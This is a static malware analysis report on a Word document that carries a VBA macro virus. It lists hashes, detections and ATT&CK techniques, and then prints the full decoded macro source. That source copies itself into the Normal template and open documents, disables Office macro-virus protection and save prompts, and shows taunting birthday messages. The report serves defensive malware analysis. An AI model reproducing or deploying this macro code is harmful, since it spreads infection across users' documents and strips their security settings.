Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 448f0496b211b7aa…

MALICIOUS

Office (OLE)

60.0 KB Created: 2005-10-02 17:44:00 Authoring application: Microsoft Word 10.1 First seen: 2015-05-10
MD5: 96fb4907c03954ce48966b0f489e56c3 SHA-1: 5d56e862873771b00f1272acb2af9bd51123b650 SHA-256: 448f0496b211b7aa5d8fd0680a37229b1787526e1f96e2301487b7a03f9d6d73
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a Microsoft Word document containing malicious VBA macros. The macros are designed to self-replicate and tamper with antivirus protection, as indicated by critical heuristic firings. The VBA code attempts to modify the document's properties and potentially establish persistence, though the exact mechanism is obfuscated. The document body presents as an art supply list to lure the user.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-40 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-40
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            x11 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
        x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
        x6.CodeModule.AddFromString x11
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4258 bytes
SHA-256: 7c0a6c55dd5f740fdfe4f0810659f4eeaa986d707a3fc8481f8b8fb32732f5a7
Detection
ClamAV: Doc.Trojan.Marker-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Const x15 = ":-D you are marked!"
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    Application.Caption = "Happy Birthday Shankar-25th July.The World may Forget but not me"
    x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
    If x10 = vbYes Then
        MsgBox "Thank You! I Love You. You are wonderfull."
    Else
        MsgBox " You are Heart Less." & vbCrLf & "You Will Be Punished For This", vbCritical
    End If
End If
If x3 = True Then
    x13 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
End If

If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then

      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
        x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
        x6.CodeModule.AddFromString x11
        With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
     x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
     x5.CodeModule.AddFromString x11
     With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
     If x1 = True Then ActiveDocument.Save
   End If
  
    
End If

End Sub

Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
With Selection.Font: x16 = .Size: .Size = 72: .ColorIndex = wdGreen: .Animation = wdAnimationSparkleText: Selection.InsertAfter "Happy BirthDay Shankar": Selection.MoveDown Unit:=wdScreen, Count:=2: .Size = x16: .ColorIndex = wdAuto: .Animation = wdAnimationNone: End With
End If
End Sub

Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
End If
End Sub

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